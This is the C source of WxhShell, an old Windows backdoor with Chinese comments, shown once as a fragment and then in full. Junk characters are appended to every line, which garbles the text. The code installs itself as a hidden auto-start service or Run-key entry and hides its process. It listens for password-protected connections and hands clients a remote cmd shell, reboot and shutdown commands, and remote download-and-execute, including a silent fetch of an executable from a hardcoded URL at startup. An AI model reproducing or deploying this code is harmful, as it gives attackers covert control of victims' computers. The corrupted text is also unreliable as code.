    else { KGI <G  
    closesocket(wsh); V7O7"Q^q  
    ExitThread(0); :Gx5vo  
    } W/~q%\M {  
    break; )UVekkq>Q  
    } i->G {_gH  
  // 获取shell |`{$Ego:  
  case 's': { i XGy*#>V  
    CmdShell(wsh); OPogH=vf  
    closesocket(wsh); rR#wbDr5  
    ExitThread(0); s B^ejH  
    break; ?FV%e  
  } A4b+:MQ*OX  
  // 退出 "pH;0[r]  
  case 'x': { ?1] \3nj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U}5]Vm$]  
    CloseIt(wsh); D0TFC3.k}  
    break; CVEo<Tz  
    } 82?LZ?!PD  
  // 离开 @L0)k^:  
  case 'q': { !(Q@1 c&z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >B*zzj  
    closesocket(wsh); p<w C{D  
    WSACleanup(); O'3/21)|y  
    exit(1); 0($On`#  
    break; 6E^9>  
        } }m7$,'C%P  
  } )ZFc5m^+u  
  } DnW/q  
&FYv4J  
  // 提示信息 (N)>?r@n`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uK1VFW  
}  a3a:H  
  } q(1hY"S"}b  
crSqbL  
  return; Y4X`(\A  
} @e$EwCV,  
jR@>~t[}o  
// shell模块句柄 }1lZW"{e[  
int CmdShell(SOCKET sock) o#BI_#b  
{ uss!E!_%,  
STARTUPINFO si; T1x67 b u  
ZeroMemory(&si,sizeof(si)); CJs ~!ww  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {G<1.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [qk c6sqo  
PROCESS_INFORMATION ProcessInfo; -9o7a_Z  
char cmdline[]="cmd"; +RkXe;q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K,*-Y)v2W  
  return 0; -7%dgY(  
} R|Uu  
kX:1=+{xg  
// 自身启动模式 Fzy#!^9Nu  
int StartFromService(void) F}1._I`-  
{ v#:?:<  
typedef struct hb)C"q=  
{ 40dwp*/!  
  DWORD ExitStatus; ]k+(0qxG  
  DWORD PebBaseAddress; c>+68<H  
  DWORD AffinityMask; ,pQ[e$u1  
  DWORD BasePriority; %mzDmrzq  
  ULONG UniqueProcessId; NGO?K?  
  ULONG InheritedFromUniqueProcessId; 8qxZ7|Y@  
}   PROCESS_BASIC_INFORMATION; |Z+qaq{X  
r>CBp$  
PROCNTQSIP NtQueryInformationProcess; Py/~Q-8p  
W%o! m,zFM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A0v@L6m-O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2d  YU  
E]^n\bE%  
  HANDLE             hProcess; LZE9]Gd  
  PROCESS_BASIC_INFORMATION pbi; jJ,y+o  
U:[CcN/~3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9JJ6$cLF  
  if(NULL == hInst ) return 0; s%6L94\t  
ej=}OH4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d5R2J:dI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UDnCHGq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1|:;~9n<t  
uX&h~qE/  
  if (!NtQueryInformationProcess) return 0; lZ <D,&  
pigu]mj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SxcE@WM  
  if(!hProcess) return 0; Rz6kwh=q  
Be<bBKQb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TD4 n%k.  
HIfi18  
  CloseHandle(hProcess); F5M|QX@-  
9F~5Ht  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dP]Z:  
if(hProcess==NULL) return 0; !X-ThKEq  
eiRVw5g  
HMODULE hMod; WH fl|e  
char procName[255]; R$+"'N6p  
unsigned long cbNeeded; SbsdunW+?  
Rd5pLrr[0)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^$RpP+d  
VD =f 'D  
  CloseHandle(hProcess); P\z1fscnK  
=2vZqGO30  
if(strstr(procName,"services")) return 1; // 以服务启动 {BJH}vV1)  
#Pg?T%('`  
  return 0; // 注册表启动 h53G$Ol.  
} 4! F$nmG)  
rhGB l`(B  
// 主模块 t^%)d7$  
int StartWxhshell(LPSTR lpCmdLine) 54RexB o  
{ u^x<xw6f  
  SOCKET wsl; BIg2`95F|  
BOOL val=TRUE; x@pzgqi3  
  int port=0; =CCddLO  
  struct sockaddr_in door; s5MG#M 9  
'RNj5r  
  if(wscfg.ws_autoins) Install(); &lxMVynL  
LJt5?zQKrW  
port=atoi(lpCmdLine); ,">CPl]  
}wEt=zOJ  
if(port<=0) port=wscfg.ws_port; 0G+ qF96  
r'XWt]B+[  
  WSADATA data; T?`Ha\go  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zn|O)"C  
z: )*Aobwv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4FKgp|Y0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `q1-yH0~4  
  door.sin_family = AF_INET;  ;CV'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z 8GIZ  
  door.sin_port = htons(port); w[EEA_\  
^?0?*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %(s2{$3  
closesocket(wsl); ma"M?aM  
return 1; A v;NQt8ut  
} dKw[#(m5v  
%uo#<Ny/ I  
  if(listen(wsl,2) == INVALID_SOCKET) { c^5fhmlt  
closesocket(wsl); twaH20  
return 1; 2&AX_#P  
} Q2Uk0:M  
  Wxhshell(wsl); <YCR^?hJSi  
  WSACleanup(); i=fhK~Jd  
wGHVq fm5  
return 0; :z|$K^)7Z  
W4h]4X  
} sp0_f;bC  
)_?HBTG  
// 以NT服务方式启动 UCo<ie\V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b8$%=Xp  
{ 1WY$Vs  
DWORD   status = 0; VwXR,(  
  DWORD   specificError = 0xfffffff; >}u#KBedE  
m&s;zQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gs~u8"B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +|4olK$[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4~WSIR-  
  serviceStatus.dwWin32ExitCode     = 0; zXwdU5 8  
  serviceStatus.dwServiceSpecificExitCode = 0; ,.L o)[(  
  serviceStatus.dwCheckPoint       = 0; ax 2#XSCO  
  serviceStatus.dwWaitHint       = 0; ?~]mOv>  
a^VI)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v)*eLX$  
  if (hServiceStatusHandle==0) return; a"k,x-EL(  
!8RJHMX&  
status = GetLastError(); =~dsIG  
  if (status!=NO_ERROR) ER4#5gd  
{ G2:.8 ok  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vQDR;T"]  
    serviceStatus.dwCheckPoint       = 0; @Qqf4 h  
    serviceStatus.dwWaitHint       = 0; CwO$EL:[`  
    serviceStatus.dwWin32ExitCode     = status; NpA%7Q~B$,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5iGz*_ m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D{4]c)>  
    return; Y`xAJ#= ,i  
  } i}))6   
_e|-O>#pl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &Mz.i,Gh  
  serviceStatus.dwCheckPoint       = 0; /[q_f  
  serviceStatus.dwWaitHint       = 0;  BfW@f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ksYPF&l  
} 4k6:   
qJXf c||Zg  
// 处理NT服务事件,比如:启动、停止 |CBJ8],mT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QX. U:p5C  
{ 8yuTT^  
switch(fdwControl) Imo?)dYK  
{ :a( Oc'T  
case SERVICE_CONTROL_STOP: mt-t8~A  
  serviceStatus.dwWin32ExitCode = 0; =]<X6!0mR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u:^9ZQ+  
  serviceStatus.dwCheckPoint   = 0; W:2]d  
  serviceStatus.dwWaitHint     = 0; ,^@/I:  
  { XKT[8o<L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \@_?mL@=  
  } 3b<;y%  
  return; 9a'}j#mJo  
case SERVICE_CONTROL_PAUSE: @\=4 Rin/q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >vuR:4B  
  break; !B#tJD  
case SERVICE_CONTROL_CONTINUE: UXHtmi|_:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P;ZVv{mT  
  break; 2W63/kRbU  
case SERVICE_CONTROL_INTERROGATE: sWP_fb1  
  break; |j$$0N  
}; 8: VRq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~jC$C2A0  
} N,ZmGzNP)  
Mo4igP  
// 标准应用程序主函数 mDA1$fj"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }O6E5YCm  
{ yJ8_<A  
9}d^ll&  
// 获取操作系统版本 TZObjSm_v  
OsIsNt=GetOsVer(); lhF)$M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9['>$ON  
1Msc:7:L  
  // 从命令行安装 3 gW+|3E  
  if(strpbrk(lpCmdLine,"iI")) Install(); )fc+B_  
;^8X(R  
  // 下载执行文件 ,B,0o*qc{K  
if(wscfg.ws_downexe) { BR~+CBH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  t&G #%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1kh()IrA  
} ^ pocbmg  
OX.g~M ig|  
if(!OsIsNt) { ?"p.Gy)  
// 如果时win9x,隐藏进程并且设置为注册表启动 8oJp_sw  
HideProc(); biH ZyUJ  
StartWxhshell(lpCmdLine); {XLRrU!*  
} : )k|Onz  
else 3+I"Dm,  
  if(StartFromService()) Ys@\~?ym+  
  // 以服务方式启动 e~$aJO@B.R  
  StartServiceCtrlDispatcher(DispatchTable); ban;HGGNG{  
else 0-Wv$o[  
  // 普通方式启动 v&"sTcS|  
  StartWxhshell(lpCmdLine); tSunO-\y  
HU-#xK  
return 0; :2;c@ uj  
} -L2% ,.E>4  
PkF'#W%  
OUm,;WNLf  
F'njtrO3  
=========================================== <\?dPRw2>  
z s[zB#  
I$I',x5Z  
#2qv"ntW  
8fQXif\z  
=o4McV}  
" s&6/fa  
G}'\  
#include <stdio.h> nD{{/_"'  
#include <string.h> ]Q{MF- EKj  
#include <windows.h> 51!#m|  
#include <winsock2.h> <+ckE 2j  
#include <winsvc.h> 5Ja[p~^L  
#include <urlmon.h> G2FD'Sf  
WL<f!   
#pragma comment (lib, "Ws2_32.lib") EA<x$O  
#pragma comment (lib, "urlmon.lib") C*Dco{ EQ>  
lJU]sZ9~b  
#define MAX_USER   100 // 最大客户端连接数 cb_nlG!  
#define BUF_SOCK   200 // sock buffer IjRUL/\=  
#define KEY_BUFF   255 // 输入 buffer VOrBNu  
3}i(i0+  
#define REBOOT     0   // 重启 j4eq.{$  
#define SHUTDOWN   1   // 关机 \l/<[ZZ  
+Pb@@C&  
#define DEF_PORT   5000 // 监听端口 l gTw>r   
n`|CD Kb  
#define REG_LEN     16   // 注册表键长度 Kl*/{&,P  
#define SVC_LEN     80   // NT服务名长度 WVh]<?GWXk  
7iH%1f  
// 从dll定义API gnZc`)z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #80r?,q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A{\!nq_~N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ||rZ+<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e u?DSad  
s"0Hz"[^=  
// wxhshell配置信息 r?=3TAA  
struct WSCFG { nbU?:=P  
  int ws_port;         // 监听端口 >2LlBLQ  
  char ws_passstr[REG_LEN]; // 口令 Trml?zexD  
  int ws_autoins;       // 安装标记, 1=yes 0=no vOBXAF  
  char ws_regname[REG_LEN]; // 注册表键名 ^ V8?6E  
  char ws_svcname[REG_LEN]; // 服务名 6 G?7>M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VKHzGfv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =~{W;VZt'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h2ou ]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no + :k"{I   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -|/*S]6kK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0J 1&6b  
Hc-Ke1+  
}; &^])iG,Ew  
p`oHF  5  
// default Wxhshell configuration &uG@I=}TIY  
struct WSCFG wscfg={DEF_PORT, cmbl"Pqy1  
    "xuhuanlingzhe", F!ra$5u  
    1, @i@f@.t  
    "Wxhshell", r_M5:Rz  
    "Wxhshell", hE}y/A[  
            "WxhShell Service", 9I*`~il>{  
    "Wrsky Windows CmdShell Service", C: a</Sl  
    "Please Input Your Password: ", \%]!/&>{6  
  1, ya/pn qS  
  "http://www.wrsky.com/wxhshell.exe", hrTl:\  
  "Wxhshell.exe" @z7$1pl}  
    }; .jbT+hhM  
(KdP^.7  
// 消息定义模块 Z}$1~uyw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^h"F\vIpV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2)jf~!o)Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8jfEvwY  
char *msg_ws_ext="\n\rExit."; #i[V {J8.p  
char *msg_ws_end="\n\rQuit."; 7>yb8/J  
char *msg_ws_boot="\n\rReboot..."; ? -`8w _3  
char *msg_ws_poff="\n\rShutdown..."; &%`0&y  
char *msg_ws_down="\n\rSave to "; m7m)BX%O  
p"=8{LrO  
char *msg_ws_err="\n\rErr!"; T+)#Du  
char *msg_ws_ok="\n\rOK!"; 9l:vVp7Uk  
TDHS/"MbA7  
char ExeFile[MAX_PATH]; hZeF? G)L'  
int nUser = 0; 4F?O5&329i  
HANDLE handles[MAX_USER]; 6yXMre)YV  
int OsIsNt; Mg=R**s1x%  
f&`yiy_  
SERVICE_STATUS       serviceStatus; 8Z(\iZ5Rgj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EY'48S  
5tm:|.`SQ  
// 函数声明 t-$Hti7Lk  
int Install(void); lhduK4u  
int Uninstall(void); qre(3,VE5  
int DownloadFile(char *sURL, SOCKET wsh); dmUa\1g#  
int Boot(int flag); _&/2-3]\B  
void HideProc(void); 6eAJ >9@x  
int GetOsVer(void); #=aTSw X  
int Wxhshell(SOCKET wsl); @!2vS@f  
void TalkWithClient(void *cs); yo"!C?82=  
int CmdShell(SOCKET sock); XF Wo"%}w  
int StartFromService(void); F]`_akE  
int StartWxhshell(LPSTR lpCmdLine); Gque@u  
</)QCl'd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @y{ f>nm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wxo{gBq  
u eV,p?Wo  
// 数据结构和表定义 C+Pw  
SERVICE_TABLE_ENTRY DispatchTable[] = Tlz~o[`&  
{ JD{AwE@Ro  
{wscfg.ws_svcname, NTServiceMain}, P/doNv}iG  
{NULL, NULL} zc%HBZ3p  
}; F`JW&r\  
t gHXIr}3  
// 自我安装 G;v3kGn  
int Install(void) #EX NSr  
{ yU< "tgE  
  char svExeFile[MAX_PATH]; v!%VH?cA8  
  HKEY key; #kPsg9Y  
  strcpy(svExeFile,ExeFile); @w@ `-1  
$z'_Hr'  
// 如果是win9x系统,修改注册表设为自启动 \6K1Z!*;  
if(!OsIsNt) { L|K^w *\C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9:]|TIPi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _$BH.I  
  RegCloseKey(key); E j/P:nB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *K2fp=Ns  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bu,VLIba  
  RegCloseKey(key); qBXIR }  
  return 0; yc3i> w`  
    } W)fh}|.5  
  } hR%2[lBn!]  
} 3[}w#n1  
else { )SsO,E+t=U  
#FsoK*F  
// 如果是NT以上系统,安装为系统服务 ,ku3;58O<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A!fRpN  
if (schSCManager!=0) /^9yncG;>  
{ WTQd}f  
  SC_HANDLE schService = CreateService <<[\ Rv  
  ( -%6Y&_5VK  
  schSCManager, E_j=v \  
  wscfg.ws_svcname, D|E,9|=v  
  wscfg.ws_svcdisp, W`` -/  
  SERVICE_ALL_ACCESS, OZi4S3k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K:8. Dvn  
  SERVICE_AUTO_START, uEcK0>xp  
  SERVICE_ERROR_NORMAL, "|W``&pM  
  svExeFile, XI58Cy*!  
  NULL, =E4~/F}9/T  
  NULL, $SPA'63AC  
  NULL, i@hW" [A  
  NULL, C{P:1ELYXH  
  NULL W"ldQ  
  ); p 28=l5y+  
  if (schService!=0) g"Gj8QLDz  
  { |aMeh;X t  
  CloseServiceHandle(schService); `w/b];e1)  
  CloseServiceHandle(schSCManager); D./3,z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2&d|L|->  
  strcat(svExeFile,wscfg.ws_svcname); P_N i 5s)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BewJ!,A!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k#pNk7;MZ  
  RegCloseKey(key); }ec3qZ@  
  return 0; <J .-fZS%  
    } E.+BqWZ!  
  } $J)2E g  
  CloseServiceHandle(schSCManager); !=rJ~s F/{  
} x|q|> dPB  
} T~b6Zu6  
~k780  
return 1; %P`w"H,v3#  
}  Jyo(Etp  
=%oQIx  
// 自我卸载 rhA>;9\  
int Uninstall(void) "%]vSr  
{ fVx_]5jM  
  HKEY key; Q2nqA1sRk  
X6k-a;  
if(!OsIsNt) { 2r>I,TNHl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W+D{4:  
  RegDeleteValue(key,wscfg.ws_regname); RLr^6+v)U  
  RegCloseKey(key); ?-D'xqc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Spt;m0W90  
  RegDeleteValue(key,wscfg.ws_regname); +W[NgUrGJ  
  RegCloseKey(key); mr\C  
  return 0; [3fmhc  
  } wA?q/cw C  
} N/i {j.=  
} o`<ps$ yT  
else { z{ MO~d9  
yjj)+eJ(Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $|pD}  
if (schSCManager!=0) ~e#QAaXD#5  
{ Q]<6i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "6zf-++%  
  if (schService!=0) \1mTKw)S  
  { ~#y(]Xec2  
  if(DeleteService(schService)!=0) { z`KP }-  
  CloseServiceHandle(schService); 7o4B1YD  
  CloseServiceHandle(schSCManager); +je{%,*  
  return 0; 35 PIfq m  
  } J{h?=vK  
  CloseServiceHandle(schService); @'fWS^ ;&  
  } MZK%IC>  
  CloseServiceHandle(schSCManager); _W^{,*p  
} 0;avWa)Q  
} wwVg'V;  
>[a&,gS  
return 1; !R@s+5P)U  
} 2JX@#vQ4  
D ~LU3#n  
// 从指定url下载文件 VSW"/{Lp  
int DownloadFile(char *sURL, SOCKET wsh) Zz@wbhMV  
{ bFtzwa5Gc  
  HRESULT hr; Ab/KVB  
char seps[]= "/"; vD'YLn%Q  
char *token; qF57T>v|  
char *file; )9'Zb`n  
char myURL[MAX_PATH]; PWbi`qF)r  
char myFILE[MAX_PATH]; N,~"8YSo  
%"g; K  
strcpy(myURL,sURL); 3?:?dy(3z  
  token=strtok(myURL,seps); z((9vi W  
  while(token!=NULL) )h,-zAnZ  
  { j^qI~|#  
    file=token; 3}25=%;[  
  token=strtok(NULL,seps); n+%tu"e  
  } cL yed3uU  
fZF.eRP '  
GetCurrentDirectory(MAX_PATH,myFILE); `(Ij@8 4  
strcat(myFILE, "\\"); 7zEpuw  
strcat(myFILE, file); NQqq\h  
  send(wsh,myFILE,strlen(myFILE),0); oES4X{,  
send(wsh,"...",3,0); h(MS>=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m?_@.O@]  
  if(hr==S_OK) #) bqn|0l  
return 0; fOkB|E]  
else +3%i7  
return 1; )*T <s  
d6ABgQi0  
} gPz p/I  
2E_*'RT  
// 系统电源模块 DX#_0-o  
int Boot(int flag) G;Thz  
{ >C"QV `+  
  HANDLE hToken; /{HK0fd  
  TOKEN_PRIVILEGES tkp; > J>|+W  
V07? sc<  
  if(OsIsNt) { 1H]E:Bq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B#Z-kFn@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]n$&|@  
    tkp.PrivilegeCount = 1; 9_I#{ ?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <N}*|z7=b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ![CF >:e  
if(flag==REBOOT) { ! tPHT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o dTg.m  
  return 0; \r7gubD  
} ``* !b >)  
else { -e(,>9Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6> Ca O  
  return 0; 4,P!D3SH  
} StWF66u34&  
  } 6kM'f}t[C  
  else { ;gmfWHB<  
if(flag==REBOOT) { y_A?} 'X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c3G&)gU4q  
  return 0; ?2$0aq  
}  Im8c  
else { `.F+T)G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SdOE^_@:  
  return 0; U)y~{E~c34  
} ?)V}_%fVv  
} yNk E>  
kFsq23Ne  
return 1; 2=p"%YSn  
} B@@j-  
Th(F^W9  
// win9x进程隐藏模块 q26%Z)'nf  
void HideProc(void) xFy%&SKHg  
{ 08JVX'X-mr  
.vJ t&@NO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _z(ydL*  
  if ( hKernel != NULL ) UZ}>@0  
  { UOtrq=y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {%Ujp9i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .7Lv  
    FreeLibrary(hKernel); 'I *&P5|  
  } 0&k!=gj:>Z  
@mu2,%  
return; 1[Ffl^\ARp  
} JD1D(  
$bi@,&t;  
// 获取操作系统版本 m"RE[dQ  
int GetOsVer(void) >i IUS  
{ ":upo/xN  
  OSVERSIONINFO winfo; Wy.Xx-3W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q\gvX 76a  
  GetVersionEx(&winfo); ZRr S""V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?=X_a{}/  
  return 1; maopr$r  
  else &$ /}HND  
  return 0; NDaM;`  
} 1=X"|`<!  
B{+ Ra  
// 客户端句柄模块 bu|ecv  
int Wxhshell(SOCKET wsl) sBfPhBT|  
{ en6oFPG   
  SOCKET wsh; qmJ^@dxs  
  struct sockaddr_in client; 5{uK;Vxse  
  DWORD myID; ' y9yx[P  
Md4JaFA(  
  while(nUser<MAX_USER) b!ea(D!:  
{ 6bW:&IPQ;  
  int nSize=sizeof(client); :$"L;"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dfoFs&CSKh  
  if(wsh==INVALID_SOCKET) return 1; Q4JvFy0'  
:n?K[f?LfY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z}[qk:  
if(handles[nUser]==0)  U|HF;L  
  closesocket(wsh); Cw_XLMY%V1  
else (~<9\ZJs  
  nUser++; 6Wabw:  
  } 4z##4^9g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /kY|PY  
@^';[P!  
  return 0; 5V{zdS=  
} *1 [v08?!  
`/z6 Q"  
// 关闭 socket <_tkd3t#W  
void CloseIt(SOCKET wsh) L)LW5%.6  
{ CrIt h/Z  
closesocket(wsh); 'l}T_7g  
nUser--; \|}dlG  
ExitThread(0);  `=h`:`  
} _@47h86 Q  
$"/xi `  
// 客户端请求句柄 3+E AMn  
void TalkWithClient(void *cs) bf3Njma%  
{ UHEn+Tc>  
=tv,B3Mo  
  SOCKET wsh=(SOCKET)cs; 1E*No1  
  char pwd[SVC_LEN]; %EooGHGF?  
  char cmd[KEY_BUFF]; 6SIk,Isy8  
char chr[1]; 8C{mV^cn~  
int i,j; =+qtk(p  
<+QXGz1  
  while (nUser < MAX_USER) { T&]J3TFJ  
x{X(Y]*1S  
if(wscfg.ws_passstr) { xD(JkOne  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .kO;9z\B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Zc=FP:1  
  //ZeroMemory(pwd,KEY_BUFF); 9p#Laei].  
      i=0; =nYd|Ok  
  while(i<SVC_LEN) { 1px8af]  
s=+,F<;x.U  
  // 设置超时 K;u<-?En  
  fd_set FdRead; R{5xb  
  struct timeval TimeOut; L]goHs  
  FD_ZERO(&FdRead); Qw ukhD7  
  FD_SET(wsh,&FdRead); &O'6va  
  TimeOut.tv_sec=8; gqje]Zc<  
  TimeOut.tv_usec=0; lKMOsr@l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y0d a8sd)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E2s lpo  
]mN'Qoc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5;5DEMe  
  pwd=chr[0]; R N1q/H|  
  if(chr[0]==0xd || chr[0]==0xa) { Bw31h3yB  
  pwd=0; rSUarfZ<  
  break; ]Fc<% wzp  
  } G 1 rsd  
  i++; N;9m&)@JR'  
    } 93-UA.+g  
) /kf  
  // 如果是非法用户,关闭 socket ' {L5 3cH=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G $TLWfm  
} 3Ms ` ajJ  
|=^p`CT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KV Vo_9S'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (3DjFT3 w  
Lbka*@  
while(1) { I6x  
brA\Fp^  
  ZeroMemory(cmd,KEY_BUFF); 3iHUG^sLW  
eC^UL5>%  
      // 自动支持客户端 telnet标准   :Rh?#yO 5  
  j=0; p`jkyi  
  while(j<KEY_BUFF) { bqHR~4 #IR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2g elmQnc  
  cmd[j]=chr[0]; .a%D:4GYR  
  if(chr[0]==0xa || chr[0]==0xd) { ,Jy@n]x  
  cmd[j]=0; +!'\}"q  
  break; G[}$s7@k  
  } +rw?k/  
  j++; HJVi:;o  
    } gBzg'Z  
o~#cpU4{o  
  // 下载文件 sw.cw}1  
  if(strstr(cmd,"http://")) { |F }y6 gH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *{qW7x.6h  
  if(DownloadFile(cmd,wsh)) E880X<V)>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e6C;A]T2E  
  else ,GB~Cmc1<Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jP?YV  
  } ]Q Y:t:-  
  else { "K3"s Ec%  
@l)HX'z0d  
    switch(cmd[0]) { "+oP((9  
  ~s@PP'!  
  // 帮助 <9JI@\>  
  case '?': { .E'Tfa  
